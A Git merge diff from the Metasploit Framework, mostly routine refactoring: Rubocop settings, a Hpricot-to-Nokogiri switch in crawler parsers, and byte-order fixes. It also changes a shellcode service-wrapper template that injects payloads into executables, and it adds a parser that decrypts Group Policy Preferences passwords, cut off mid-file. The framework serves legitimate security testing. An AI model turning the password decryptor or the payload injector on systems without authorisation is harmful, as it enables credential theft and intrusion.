Metasploit Framework 4.9.3-2014072301
-----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAABAgAGBQJT0CeVAAoJEJMMBVMNnmqO/7AP/0CBRHjtgiR9VnFKSQ+iWTQV iPNMBevn0mpSRq/gpoKCeFBZ6b+YQYrOLXDKVk62VV9LCslkr/P8LW8ul+m+JtB0 mM6V5esUXM1XhgGEyTnTLRx6BR/WQU1RHlb56ae3nZjQlwCuH/5zEmcy5toZxpsY 6HO46zE0GGBoLr/VgyYlfT08bfoQ+ICyJN0H5ixoovCc3iW0K1MNqLMfdani8zBJ gYJaMysV7XtepumWWQMSC+b/EuertdXXzWDy2bwe0Q3cQXNXzrkPAvtMqucWG+gy 783OLKCPtVoEZiX87xAptkwmVCRdNGPclaWH7YRZDAh1tqBfRQUg72V/TIrOHCP1 /lYO7yp5pBQg+1UNnpH+xI2YePFfYdHpYDNT5FSQGOnQjJg30ll4SqCm7cVmo2h5 BRSYXkPCsQeXGaFarxGERNb8e+qN/WzSrHzY45tQw8mDuhg94tlf3VtDag3FXxhj zCxd6bu+tdboVm7FERS85T46kxzmeIycZ4p+Sf7d8gXitl2RKbBdKFNDi1gzeK1T yN7bDl4sL7qtDgZLXjFrnyC8vXyAqIrAgmFr2JywMBRm6TiCGQvgnrs+sScU3RFU W2tblGbKQq+CwDeC59uQPqxRkm72SMUrKX9448VEQ+9XbKE3TMQ5Q4qCxmnw31Op aJ0QgKJz8thZgafZc89I =e1z9 -----END PGP SIGNATURE----- gpgsig -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAABCgAGBQJT4pb8AAoJEA+Ckxyj7hsHn+8P/3FlEYCmoqQ/JzsVtmP3Yi4Q gBRva+crY831mCCQXFrPJBvWfmy5HOzVh+Zh7zWF0GQ1WuuMppHfR5ARFVwmiDs3 qwndhXwziDzBnznf0JKSgT5eJsH23s/ots1lyWymKJvPuT6hn6MRAHUawgnNmYR9 ttnawmHvCM9Iha2oz3nmkLcNd+83bdBfEWi5l8AQ7jJxwMC2/8VPpMscVVwXqPzd CoQugAYZW5VeaEiGio5+19Ix9EPkIDvs6wnfGBtfPfeaOIDZV4XOFoIFUtEeZd5o olvEpYvdqscy4Qujzn4C++3wX3bUxkIbHTJHgrKmlD83dI7Cu1JH716G+yfLoJo0 pQBWTGeWYKEh6leK/9J5Bo1/tOJ/ylbcbvH0Y0tmdu4icHar6uYe1QBrCB9xIdh1 F+xo4guYnVo616DXJQSwjIye83b5dBxACrfA3bqCnFVFgTM5jXGV1cqiBgs9Dl++ tIDPgUJkCe/bIdQ7PntlGRzxKihHahlxhCa++YaGKqSq7gXie8Rl4qgloIrbfNZ/ z3XsoOLNdbMGO7ip88Zjwq4Khj5WZu7ijfCtXO7GU1UJZL1tJ2yK2ic7ZDLc251Y 8EGMSTG53+6yvZYFtWMZeQzjwD2cpuF04dOmHOKi6KGJJ7KRPhn6gpsbc6U1mbH9 AjGcfOzhhcsY+WAQ7OG+ =Pjob -----END PGP SIGNATURE----- Merge tag '2014072301' into staging/electro-release Conflicts: Gemfile.lock modules/post/windows/gather/credentials/gpp.rb This removes the active flag in the gpp.rb module. According to Lance, the active flag is no longer used.bug/bundler_fix
commit
91bb0b6e10
|
@ -0,0 +1,19 @@
|
|||
LineLength:
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
MethodLength:
|
||||
Enabled: true
|
||||
Max: 100
|
||||
|
||||
Style/ClassLength:
|
||||
Exclude:
|
||||
# Most modules are quite large and all contained in one class. This is OK.
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/NumericLiterals:
|
||||
Enabled: false
|
||||
|
||||
Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
|
@ -33,6 +33,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
|
|||
## Code Contributions
|
||||
|
||||
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
|
||||
* Similarly, **try** to get Rubocop passing or at least relatively quiet against the files added/modified as part of your contribution
|
||||
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
|
||||
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
|
||||
|
||||
|
|
2
Gemfile
2
Gemfile
|
@ -15,6 +15,8 @@ group :db do
|
|||
end
|
||||
|
||||
group :development do
|
||||
# Style/sanity checking Ruby code
|
||||
gem 'rubocop'
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
# generating documentation
|
||||
|
|
16
Gemfile.lock
16
Gemfile.lock
|
@ -45,6 +45,7 @@ GEM
|
|||
arel (3.0.3)
|
||||
arel-helpers (2.0.1)
|
||||
activerecord (>= 3.1.0, < 5)
|
||||
ast (2.0.0)
|
||||
bcrypt (3.1.7)
|
||||
builder (3.0.4)
|
||||
coderay (1.1.0)
|
||||
|
@ -87,8 +88,12 @@ GEM
|
|||
nokogiri (1.6.3.1)
|
||||
mini_portile (= 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
parser (2.1.9)
|
||||
ast (>= 1.1, < 3.0)
|
||||
slop (~> 3.4, >= 3.4.5)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.17.1)
|
||||
powerpack (0.0.9)
|
||||
pry (0.10.0)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
|
@ -107,6 +112,7 @@ GEM
|
|||
rake (>= 0.8.7)
|
||||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
rainbow (2.0.0)
|
||||
rake (10.3.2)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
|
@ -132,10 +138,17 @@ GEM
|
|||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rubocop (0.23.0)
|
||||
json (>= 1.7.7, < 2)
|
||||
parser (~> 2.1.9)
|
||||
powerpack (~> 0.0.6)
|
||||
rainbow (>= 1.99.1, < 3.0)
|
||||
ruby-progressbar (~> 1.4)
|
||||
ruby-progressbar (1.5.1)
|
||||
activesupport (>= 3.0.0)
|
||||
rubyntlm (0.4.0)
|
||||
rubyzip (1.1.6)
|
||||
shoulda-matchers (2.6.2)
|
||||
activesupport (>= 3.0.0)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
|
@ -172,6 +185,7 @@ DEPENDENCIES
|
|||
redcarpet
|
||||
rspec (>= 2.12, < 3.0.0)
|
||||
rspec-rails (>= 2.12, < 3.0.0)
|
||||
rubocop
|
||||
shoulda-matchers
|
||||
simplecov (= 0.5.4)
|
||||
timecop
|
||||
|
|
|
@ -13,7 +13,7 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerSimple < BaseParser
|
||||
|
@ -24,23 +24,20 @@ class CrawlerSimple < BaseParser
|
|||
return
|
||||
end
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('a').each do |link|
|
||||
|
||||
hr = link.attributes['href']
|
||||
|
||||
if hr and !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',hr,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
# doc = Hpricot(result.body.to_s)
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('a').each do |anchor_tag|
|
||||
hr = anchor_tag['href']
|
||||
if hr && !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', hr, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -13,7 +13,7 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerForms < BaseParser
|
||||
|
@ -27,49 +27,30 @@ class CrawlerForms < BaseParser
|
|||
hr = ''
|
||||
m = ''
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('form').each do |f|
|
||||
hr = f.attributes['action']
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('form').each do |f|
|
||||
hr = f['action']
|
||||
|
||||
fname = f.attributes['name']
|
||||
if fname.empty?
|
||||
fname = "NONE"
|
||||
end
|
||||
fname = f['name']
|
||||
fname = "NONE" if fname.empty?
|
||||
|
||||
m = "GET"
|
||||
if !f.attributes['method'].empty?
|
||||
m = f.attributes['method'].upcase
|
||||
end
|
||||
m = f['method'].empty? ? 'GET' : f['method'].upcase
|
||||
|
||||
#puts "Parsing form name: #{fname} (#{m})"
|
||||
|
||||
htmlform = Hpricot(f.inner_html)
|
||||
htmlform = Nokogiri::HTML(f.inner_html)
|
||||
|
||||
arrdata = []
|
||||
|
||||
htmlform.search('input').each do |p|
|
||||
#puts p.attributes['name']
|
||||
#puts p.attributes['type']
|
||||
#puts p.attributes['value']
|
||||
|
||||
#raw_request has uri_encoding disabled as it encodes '='.
|
||||
arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value']))
|
||||
htmlform.css('input').each do |p|
|
||||
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
|
||||
end
|
||||
|
||||
data = arrdata.join("&").to_s
|
||||
|
||||
|
||||
begin
|
||||
hreq = urltohash(m,hr,request['uri'],data)
|
||||
|
||||
hreq = urltohash(m, hr, request['uri'], data)
|
||||
hreq['ctype'] = 'application/x-www-form-urlencoded'
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,33 +9,29 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerFrames < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('iframe').each do |ifra|
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('iframe').each do |ifra|
|
||||
ir = ifra['src']
|
||||
|
||||
ir = ifra.attributes['src']
|
||||
|
||||
if ir and !ir.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',ir,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Error"
|
||||
if ir && !ir.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', ir, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -10,33 +10,26 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerImage < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('img').each do |i|
|
||||
|
||||
im = i.attributes['src']
|
||||
|
||||
if im and !im.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',im,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{i[0]}"
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('img').each do |i|
|
||||
im = i['src']
|
||||
if im && !im.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', im, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,33 +10,25 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerLink < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('link').each do |link|
|
||||
|
||||
hr = link.attributes['href']
|
||||
|
||||
if hr and !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',hr,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('link').each do |link|
|
||||
hr = link['href']
|
||||
if hr && !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', hr, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -13,36 +13,25 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerObjects < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
return unless result['Content-Type'].include?('text/html') # TOOD: use MIXIN
|
||||
hr = ''
|
||||
m = ''
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search("//object/embed").each do |obj|
|
||||
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.xpath("//object/embed").each do |obj|
|
||||
s = obj['src']
|
||||
|
||||
begin
|
||||
hreq = urltohash('GET',s,request['uri'],nil)
|
||||
|
||||
hreq = urltohash('GET', s, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -13,36 +13,27 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerScripts < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include? "text/html"
|
||||
|
||||
hr = ''
|
||||
m = ''
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search("//script").each do |obj|
|
||||
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.xpath("//script").each do |obj|
|
||||
s = obj['src']
|
||||
|
||||
begin
|
||||
hreq = urltohash('GET',s,request['uri'],nil)
|
||||
|
||||
hreq = urltohash('GET', s, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -37,7 +37,7 @@ class BitStruct
|
|||
old_writer = "#{attr_chars}="
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
data = val.split(sep).map{|s|s.to_i(base)}.pack("c*")
|
||||
data = val.split(sep).map{|s|s.to_i(base)}.pack("C*")
|
||||
send(old_writer, data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -246,8 +246,7 @@ module Exploit::Remote::AFP
|
|||
end
|
||||
|
||||
def parse_header(packet)
|
||||
header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order
|
||||
header[3] = packet[4..7].reverse.unpack("l").first
|
||||
header = packet.unpack('CCnNNN')
|
||||
return header
|
||||
end
|
||||
|
||||
|
|
|
@ -13,6 +13,7 @@ module Msf::Post::Windows
|
|||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/wmic'
|
||||
require 'msf/core/post/windows/netapi'
|
||||
require 'msf/core/post/windows/shadowcopy'
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
require 'msf/core/post/windows/ldap'
|
||||
|
|
|
@ -270,7 +270,7 @@ module Accounts
|
|||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("L")
|
||||
gen_map = gen_map.pack("V")
|
||||
buffer_size = 500
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
|
|
|
@ -248,7 +248,7 @@ module LDAP
|
|||
# @param pEntry [Fixnum] Pointer to the Entry
|
||||
# @return [Array] Entry data structure
|
||||
def get_entry(pEntry)
|
||||
return client.railgun.memread(pEntry,41).unpack('LLLLLLLLLSCCC')
|
||||
return client.railgun.memread(pEntry,41).unpack('VVVVVVVVVvCCC')
|
||||
end
|
||||
|
||||
# Get BER Element data structure from LDAPMessage
|
||||
|
@ -256,7 +256,7 @@ module LDAP
|
|||
# @param msg [String] The LDAP Message from the server
|
||||
# @return [String] The BER data structure
|
||||
def get_ber(msg)
|
||||
ber = client.railgun.memread(msg[2],60).unpack('L*')
|
||||
ber = client.railgun.memread(msg[2],60).unpack('V*')
|
||||
|
||||
# BER Pointer is different between x86 and x64
|
||||
if client.platform =~ /x64/
|
||||
|
|
|
@ -68,6 +68,11 @@ module NetAPI
|
|||
base = 0
|
||||
struct_size = 8
|
||||
hosts = []
|
||||
|
||||
if count == 0
|
||||
return hosts
|
||||
end
|
||||
|
||||
mem = client.railgun.memread(start_ptr, struct_size*count)
|
||||
|
||||
count.times do
|
||||
|
|
|
@ -334,7 +334,7 @@ module Services
|
|||
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
|
||||
end
|
||||
|
||||
vals = status['lpServiceStatus'].unpack('L*')
|
||||
vals = status['lpServiceStatus'].unpack('V*')
|
||||
adv.CloseServiceHandle(handle["return"])
|
||||
|
||||
ret = {
|
||||
|
|
|
@ -340,22 +340,22 @@ require 'msf/core/exe/segment_injector'
|
|||
|
||||
# look for section with entry point
|
||||
sections_header.each do |sec|
|
||||
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
|
||||
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
|
||||
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
|
||||
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
|
||||
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
|
||||
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
|
||||
|
||||
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
|
||||
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('L')[0]
|
||||
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
|
||||
if (importsTable - addressOfEntryPoint) < code.length
|
||||
#shift original entry point to prevent tables overwritting
|
||||
addressOfEntryPoint = importsTable - (code.length + 4)
|
||||
|
||||
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
|
||||
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('L')
|
||||
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
|
||||
end
|
||||
# put this section writable
|
||||
characteristics |= 0x8000_0000
|
||||
newcharacteristics = [characteristics].pack('L')
|
||||
newcharacteristics = [characteristics].pack('V')
|
||||
exe[sec[0],newcharacteristics.length] = newcharacteristics
|
||||
end
|
||||
end
|
||||
|
@ -572,20 +572,20 @@ require 'msf/core/exe/segment_injector'
|
|||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
|
||||
"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" +
|
||||
"\x8D\x85"+[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
|
||||
"\x8D\x85"+[svcmain_code_offset].pack('V')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
|
||||
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
|
||||
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
|
||||
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
|
||||
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
|
||||
[hash_code_offset].pack('V')+pushed_service_name+"\x89\xE1\x8D" +
|
||||
"\x85"+[svcctrlhandler_code_offset].pack('V')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
|
||||
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
|
||||
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
|
||||
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
|
||||
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
|
||||
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
|
||||
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
|
||||
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
|
||||
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('V')+"\x57\x51\x68\xAE\x87" +
|
||||
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
|
||||
[shellcode_code_offset].pack('<I')+"\x54\x68"+[code.length].pack('<I') +
|
||||
[shellcode_code_offset].pack('V')+"\x54\x68"+[code.length].pack('V') +
|
||||
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
|
||||
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
|
||||
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
|
||||
|
@ -654,12 +654,17 @@ require 'msf/core/exe/segment_injector'
|
|||
msi = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
section_size = 2**(msi[30..31].unpack('s')[0])
|
||||
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
|
||||
section_size = 2**(msi[30..31].unpack('v')[0])
|
||||
|
||||
# This table is one of the few cases where signed values are needed
|
||||
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
|
||||
|
||||
buffer_chain = []
|
||||
current_secid = 5 # This is closely coupled with the template provided and ideally
|
||||
# would be calculated from the dir stream?
|
||||
|
||||
# This is closely coupled with the template provided and ideally
|
||||
# would be calculated from the dir stream?
|
||||
current_secid = 5
|
||||
|
||||
|
||||
until current_secid == -2
|
||||
buffer_chain << current_secid
|
||||
|
@ -827,8 +832,8 @@ require 'msf/core/exe/segment_injector'
|
|||
|
||||
# Check EI_CLASS to determine if the header is 32 or 64 bit
|
||||
# Use the proper offsets and pack size
|
||||
case elf[4]
|
||||
when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
|
||||
case elf[4,1].unpack("C").first
|
||||
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
|
||||
if big_endian
|
||||
elf[0x44,4] = [elf.length].pack('N') #p_filesz
|
||||
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
|
||||
|
@ -836,13 +841,13 @@ require 'msf/core/exe/segment_injector'
|
|||
elf[0x44,4] = [elf.length].pack('V') #p_filesz
|
||||
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
|
||||
end
|
||||
when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
|
||||
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
|
||||
if big_endian
|
||||
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
|
||||
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
|
||||
else # little endian
|
||||
elf[0x60,8] = [elf.length].pack('Q') #p_filesz
|
||||
elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
|
||||
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
|
||||
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
|
||||
|
|
|
@ -49,7 +49,7 @@ module Arch
|
|||
when ARCH_X86
|
||||
[addr].pack('V')
|
||||
when ARCH_X86_64
|
||||
[addr].pack('Q')
|
||||
[addr].pack('Q<')
|
||||
when ARCH_MIPS # ambiguous
|
||||
[addr].pack('N')
|
||||
when ARCH_MIPSBE
|
||||
|
|
|
@ -28,7 +28,7 @@ module NDR
|
|||
# use to encode:
|
||||
# byte element_1;
|
||||
def NDR.byte(string)
|
||||
return [string].pack('c')
|
||||
return [string].pack('C')
|
||||
end
|
||||
|
||||
# Encode a byte array
|
||||
|
|
|
@ -124,7 +124,7 @@ class Util
|
|||
|
||||
|
||||
def self.getUnicodeString(buf)
|
||||
buf = buf.unpack('S*').pack('C*')
|
||||
buf = buf.unpack('v*').pack('C*')
|
||||
if (idx = buf.index(0x00.chr))
|
||||
buf.slice!(idx, buf.length)
|
||||
end
|
||||
|
@ -132,7 +132,7 @@ class Util
|
|||
end
|
||||
|
||||
def self.putUnicodeString(buf)
|
||||
buf = buf.unpack('C*').pack('S*')
|
||||
buf = buf.unpack('C*').pack('v*')
|
||||
if (buf.length < 0x40)
|
||||
buf << "\x00" * (0x40 - buf.length)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,159 @@
|
|||
# -*- coding: binary -*-
|
||||
#
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
# This is a parser for the Windows Group Policy Preferences file
|
||||
# format. It's used by modules/post/windows/gather/credentials/gpp.rb
|
||||
# and uses REXML (as opposed to Nokogiri) for its XML parsing.
|
||||
# See: http://msdn.microsoft.com/en-gb/library/cc232587.aspx
|
||||
class GPP
|
||||
require 'rex'
|
||||
require 'rexml/document'
|
||||
|
||||
def self.parse(data)
|
||||
if data.nil?
|
||||
return []
|
||||
end
|
||||
|
||||
xml = REXML::Document.new(data).root
|
||||
results = []
|
||||
|
||||
unless xml and xml.elements and xml.elements.to_a("//Properties")
|
||||
return []
|
||||
end
|
||||
|
||||
xml.elements.to_a("//Properties").each do |node|
|
||||
epassword = node.attributes['cpassword']
|
||||
next if epassword.to_s.empty?
|
||||
password = self.decrypt(epassword)
|
||||
|
||||
user = node.attributes['runAs'] if node.attributes['runAs']
|
||||
user = node.attributes['accountName'] if node.attributes['accountName']
|
||||
user = node.attributes['username'] if node.attributes['username']
|
||||
user = node.attributes['userName'] if node.attributes['userName']
|
||||
user = node.attributes['newName'] unless node.attributes['newName'].nil? || node.attributes['newName'].empty?
|
||||
changed = node.parent.attributes['changed']
|
||||
|
||||
# Printers and Shares
|
||||
path = node.attributes['path']
|
||||
|
||||
# Datasources
|
||||
dsn = node.attributes['dsn']
|
||||
driver = node.attributes['driver']
|
||||
|
||||
# Tasks
|
||||
app_name = node.attributes['appName']
|
||||
|
||||
# Services
|
||||
service = node.attributes['serviceName']
|
||||
|
||||
# Groups
|
||||
expires = node.attributes['expires']
|
||||
never_expires = node.attributes['neverExpires']
|
||||
disabled = node.attributes['acctDisabled']
|
||||
|
||||
result = {
|
||||
:USER => user,
|
||||
:PASS => password,
|
||||
:CHANGED => changed
|
||||
}
|
||||
|
||||
result.merge!({ :EXPIRES => expires }) unless expires.nil? || expires.empty?
|
||||
result.merge!({ :NEVER_EXPIRES => never_expires.to_i }) unless never_expires.nil? || never_expires.empty?
|
||||
result.merge!({ :DISABLED => disabled.to_i }) unless disabled.nil? || disabled.empty?
|
||||
result.merge!({ :PATH => path }) unless path.nil? || path.empty?
|
||||
